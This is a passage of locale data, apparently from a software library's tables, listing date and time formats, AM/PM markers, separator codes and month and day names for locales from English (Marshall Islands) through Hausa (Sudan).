- 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - MarshallIslands - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Namibia - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - NewZealand - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - d/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - NorthernMarianaIslands - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Pakistan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Philippines - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Singapore - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, dd MMMM yyyy - dd/MM/yy - a hh:mm:ss v - a hh:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - SouthAfrica - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE dd MMMM yyyy - yyyy/MM/dd - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - TrinidadAndTobago - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - UnitedKingdom - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd/MM/yyyy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - UnitedStates - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - UnitedStatesMinorOutlyingIslands - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - USVirginIslands - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, MMMM d, yyyy - M/d/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - English - Zimbabwe - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE dd MMMM yyyy - d/M/yyyy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - January;February;March;April;May;June;July;August;September;October;November;December; - Jan;Feb;Mar;Apr;May;Jun;Jul;Aug;Sep;Oct;Nov;Dec; - ;;;;;;;;;;;; - Sunday;Monday;Tuesday;Wednesday;Thursday;Friday;Saturday; - Sun;Mon;Tue;Wed;Thu;Fri;Sat; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;W;T;F;S; - - - Estonian - Estonia - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, d, MMMM yyyy - dd.MM.yy - H:mm:ss v - H:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - jaanuar;veebruar;märts;aprill;mai;juuni;juuli;august;september;oktoober;november;detsember; - jaan;veebr;märts;apr;mai;juuni;juuli;aug;sept;okt;nov;dets; - ;;;;;;;;;;;; - pühapäev;esmaspäev;teisipäev;kolmapäev;neljapäev;reede;laupäev; - P;E;T;K;N;R;L; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Faroese - FaroeIslands - 44 - 46 - 59 - 37 - 48 - 8722 - 43 - 101 - - - EEEE dd MMMM yyyy - dd-MM-yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - januar;februar;mars;apríl;mai;juni;juli;august;september;oktober;november;desember; - jan;feb;mar;apr;mai;jun;jul;aug;sep;okt;nov;des; - ;;;;;;;;;;;; - sunnudagur;mánadagur;týsdagur;mikudagur;hósdagur;fríggjadagur;leygardagur; - sun;mán;týs;mik;hós;frí;ley; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Finnish - Finland - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - ap. - ip. - EEEE d. MMMM yyyy - d.M.yyyy - H.mm.ss v - H.mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - T;H;M;H;T;K;H;E;S;L;M;J; - tammikuuta;helmikuuta;maaliskuuta;huhtikuuta;toukokuuta;kesäkuuta;heinäkuuta;elokuuta;syyskuuta;lokakuuta;marraskuuta;joulukuuta; - tammi;helmi;maalis;huhti;touko;kesä;heinä;elo;syys;loka;marras;joulu; - ;;;;;;;;;;;; - sunnuntaina;maanantaina;tiistaina;keskiviikkona;torstaina;perjantaina;lauantaina; - su;ma;ti;ke;to;pe;la; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;T;K;T;P;L; - - - French - Belgium - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - d/MM/yy - H 'h' mm 'min' ss 's' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - Canada - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - yy-MM-dd - HH 'h' mm 'min' ss 's' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - France - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - Luxembourg - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - Monaco - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - Senegal - 44 - 160 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE d MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - French - Switzerland - 46 - 39 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM yyyy - dd.MM.yy - HH.mm:ss 'h' v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;J;J;A;S;O;N;D; - janvier;février;mars;avril;mai;juin;juillet;août;septembre;octobre;novembre;décembre; - janv.;févr.;mars;avr.;mai;juin;juil.;août;sept.;oct.;nov.;déc.; - ;;;;;;;;;;;; - dimanche;lundi;mardi;mercredi;jeudi;vendredi;samedi; - dim.;lun.;mar.;mer.;jeu.;ven.;sam.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;J;V;S; - - - Galician - Spain - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE dd MMMM yyyy - dd/MM/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - X;F;M;A;M;X;X;A;S;O;N;D; - Xaneiro;Febreiro;Marzo;Abril;Maio;Xuño;Xullo;Agosto;Setembro;Outubro;Novembro;Decembro; - Xan;Feb;Mar;Abr;Mai;Xuñ;Xul;Ago;Set;Out;Nov;Dec; - ;;;;;;;;;;;; - Domingo;Luns;Martes;Mércores;Xoves;Venres;Sábado; - Dom;Lun;Mar;Mér;Xov;Ven;Sáb; - ;;;;;;; - ;;;;;;; - ;;;;;;; - D;L;M;M;X;V;S; - - - Georgian - Georgia - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE, yyyy MMMM dd - yy/MM/dd - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - ი;თ;მ;ა;მ;ი;ი;ა;ს;ო;ნ;დ; - იანვარი;თებერვალი;მარტი;აპრილი;მაისი;ივნისი;ივლისი;აგვისტო;სექტემბერი;ოქტომბერი;ნოემბერი;დეკემბერი; - იან;თებ;მარ;აპრ;მაი;ივნ;ივლ;აგვ;სექ;ოქტ;ნოე;დეკ; - ;;;;;;;;;;;; - კვირა;ორშაბათი;სამშაბათი;ოთხშაბათი;ხუთშაბათი;პარასკევი;შაბათი; - კვი;ორშ;სამ;ოთხ;ხუთ;პარ;შაბ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - კ;ო;ს;ო;ხ;პ;შ; - - - German - Austria - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE, dd. MMMM yyyy - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Jänner;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jän;Feb;Mär;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - So.;Mo.;Di.;Mi.;Do.;Fr.;Sa.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - German - Belgium - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE d MMMM yyyy - d/MM/yy - HH 'h' mm 'min' ss 's' v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Januar;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jan;Feb;Mär;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - Son;Mon;Die;Mit;Don;Fre;Sam; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - German - Germany - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE, d. MMMM yyyy - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Januar;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jan;Feb;Mrz;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - So.;Mo.;Di.;Mi.;Do.;Fr.;Sa.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - German - Liechtenstein - 46 - 39 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE, d. MMMM yyyy - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Januar;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jan;Feb;Mrz;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - So.;Mo.;Di.;Mi.;Do.;Fr.;Sa.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - German - Luxembourg - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE, d. MMMM yyyy - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Januar;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jan;Feb;Mrz;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - So.;Mo.;Di.;Mi.;Do.;Fr.;Sa.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - German - Switzerland - 46 - 39 - 59 - 37 - 48 - 45 - 43 - 101 - vorm. - nachm. - EEEE, d. MMMM yyyy - dd.MM.yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;Mär;;;;Jul;Aug;Sep;Okt;Nov;Dez; - J;F;M;A;M;J;J;A;S;O;N;D; - Januar;Februar;März;April;Mai;Juni;Juli;August;September;Oktober;November;Dezember; - Jan;Feb;Mrz;Apr;Mai;Jun;Jul;Aug;Sep;Okt;Nov;Dez; - ;;;;;;;;;;;; - Sonntag;Montag;Dienstag;Mittwoch;Donnerstag;Freitag;Samstag; - So.;Mo.;Di.;Mi.;Do.;Fr.;Sa.; - ;;;;;;; - ;;;;;;; - ;;;;;;; - S;M;D;M;D;F;S; - - - Greek - Cyprus - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - π.μ. - μ.μ. - EEEE, dd MMMM yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm a - Ιανουάριος;Φεβρουάριος;Μάρτιος;Απρίλιος;Μάιος;Ιούνιος;Ιούλιος;Αύγουστος;Σεπτέμβριος;Οκτώβριος;Νοέμβριος;Δεκέμβριος; - ;;;;;;;;;;;; - Ι;Φ;Μ;Α;Μ;Ι;Ι;Α;Σ;Ο;Ν;Δ; - Ιανουαρίου;Φεβρουαρίου;Μαρτίου;Απριλίου;Μαΐου;Ιουνίου;Ιουλίου;Αυγούστου;Σεπτεμβρίου;Οκτωβρίου;Νοεμβρίου;Δεκεμβρίου; - Ιαν;Φεβ;Μαρ;Απρ;Μαϊ;Ιουν;Ιουλ;Αυγ;Σεπ;Οκτ;Νοε;Δεκ; - ;;;;;;;;;;;; - Κυριακή;Δευτέρα;Τρίτη;Τετάρτη;Πέμπτη;Παρασκευή;Σάββατο; - Κυρ;Δευ;Τρι;Τετ;Πεμ;Παρ;Σαβ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Κ;Δ;Τ;Τ;Π;Π;Σ; - - - Greek - Greece - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - π.μ. - μ.μ. - EEEE, dd MMMM yyyy - dd/MM/yyyy - h:mm:ss a v - h:mm a - Ιανουάριος;Φεβρουάριος;Μάρτιος;Απρίλιος;Μάιος;Ιούνιος;Ιούλιος;Αύγουστος;Σεπτέμβριος;Οκτώβριος;Νοέμβριος;Δεκέμβριος; - ;;;;;;;;;;;; - Ι;Φ;Μ;Α;Μ;Ι;Ι;Α;Σ;Ο;Ν;Δ; - Ιανουαρίου;Φεβρουαρίου;Μαρτίου;Απριλίου;Μαΐου;Ιουνίου;Ιουλίου;Αυγούστου;Σεπτεμβρίου;Οκτωβρίου;Νοεμβρίου;Δεκεμβρίου; - Ιαν;Φεβ;Μαρ;Απρ;Μαϊ;Ιουν;Ιουλ;Αυγ;Σεπ;Οκτ;Νοε;Δεκ; - ;;;;;;;;;;;; - Κυριακή;Δευτέρα;Τρίτη;Τετάρτη;Πέμπτη;Παρασκευή;Σάββατο; - Κυρ;Δευ;Τρι;Τετ;Πεμ;Παρ;Σαβ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - Κ;Δ;Τ;Τ;Π;Π;Σ; - - - Greenlandic - Greenland - 44 - 46 - 59 - 37 - 48 - 45 - 43 - 101 - - - EEEE dd MMMM yyyy - dd/MM/yy - h:mm:ss a v - h:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - januari;februari;martsi;aprili;maji;juni;juli;augustusi;septemberi;oktoberi;novemberi;decemberi; - jan;feb;mar;apr;maj;jun;jul;aug;sep;okt;nov;dec; - ;;;;;;;;;;;; - sabaat;ataasinngorneq;marlunngorneq;pingasunngorneq;sisamanngorneq;tallimanngorneq;arfininngorneq; - sab;ata;mar;pin;sis;tal;arf; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Gujarati - India - 46 - 44 - 59 - 37 - 2790 - 45 - 43 - 101 - પૂર્વ મધ્યાહ્ન - ઉત્તર મધ્યાહ્ન - EEEE d MMMM yyyy - d-MM-yy - hh:mm:ss a v - hh:mm a - ;;;;;;;;;;;; - ;;;;;;;;;;;; - 1;2;3;4;5;6;7;8;9;10;11;12; - જાન્યુઆરી;ફેબ્રુઆરી;માર્ચ;એપ્રિલ;મે;જૂન;જુલાઈ;ઑગસ્ટ;સપ્ટેમ્બર;ઑક્ટ્બર;નવેમ્બર;ડિસેમ્બર; - જાન્યુ;ફેબ્રુ;માર્ચ;એપ્રિલ;મે;જૂન;જુલાઈ;ઑગસ્ટ;સપ્ટે;ઑક્ટો;નવે;ડિસે; - ;;;;;;;;;;;; - રવિવાર;સોમવાર;મંગળવાર;બુધવાર;ગુરુવાર;શુક્રવાર;શનિવાર; - રવિ;સોમ;મંગળ;બુધ;ગુરુ;શુક્ર;શનિ; - ;;;;;;; - ;;;;;;; - ;;;;;;; - 1;2;3;4;5;6;7; - - - Hausa - Ghana - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM, yyyy - d/M/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;Y;Y;A;S;O;N;D; - Janairu;Fabrairu;Maris;Afrilu;Mayu;Yuni;Yuli;Augusta;Satumba;Oktoba;Nuwamba;Disamba; - Jan;Fab;Mar;Afr;May;Yun;Yul;Aug;Sat;Okt;Nuw;Dis; - ;;;;;;;;;;;; - Lahadi;Litini;Talata;Laraba;Alhamis;Jumma'a;Asabar; - Lah;Lit;Tal;Lar;Alh;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - L;L;T;L;A;J;A; - - - Hausa - Niger - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM, yyyy - d/M/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;Y;Y;A;S;O;N;D; - Janairu;Fabrairu;Maris;Afrilu;Mayu;Yuni;Yuli;Augusta;Satumba;Oktoba;Nuwamba;Disamba; - Jan;Fab;Mar;Afr;May;Yun;Yul;Aug;Sat;Okt;Nuw;Dis; - ;;;;;;;;;;;; - Lahadi;Litini;Talata;Laraba;Alhamis;Jumma'a;Asabar; - Lah;Lit;Tal;Lar;Alh;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - L;L;T;L;A;J;A; - - - Hausa - Nigeria - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM, yyyy - d/M/yy - HH:mm:ss v - HH:mm - ;;;;;;;;;;;; - ;;;;;;;;;;;; - J;F;M;A;M;Y;Y;A;S;O;N;D; - Janairu;Fabrairu;Maris;Afrilu;Mayu;Yuni;Yuli;Augusta;Satumba;Oktoba;Nuwamba;Disamba; - Jan;Fab;Mar;Afr;May;Yun;Yul;Aug;Sat;Okt;Nuw;Dis; - ;;;;;;;;;;;; - Lahadi;Litini;Talata;Laraba;Alhamis;Jumma'a;Asabar; - Lah;Lit;Tal;Lar;Alh;Jum;Asa; - ;;;;;;; - ;;;;;;; - ;;;;;;; - L;L;T;L;A;J;A; - - - Hausa - Sudan - 46 - 44 - 59 - 37 - 48 - 45 - 43 - 101 - AM - PM - EEEE, d MMMM, yyyy - d/M/yy - HH:mm:ss v - HH:mm 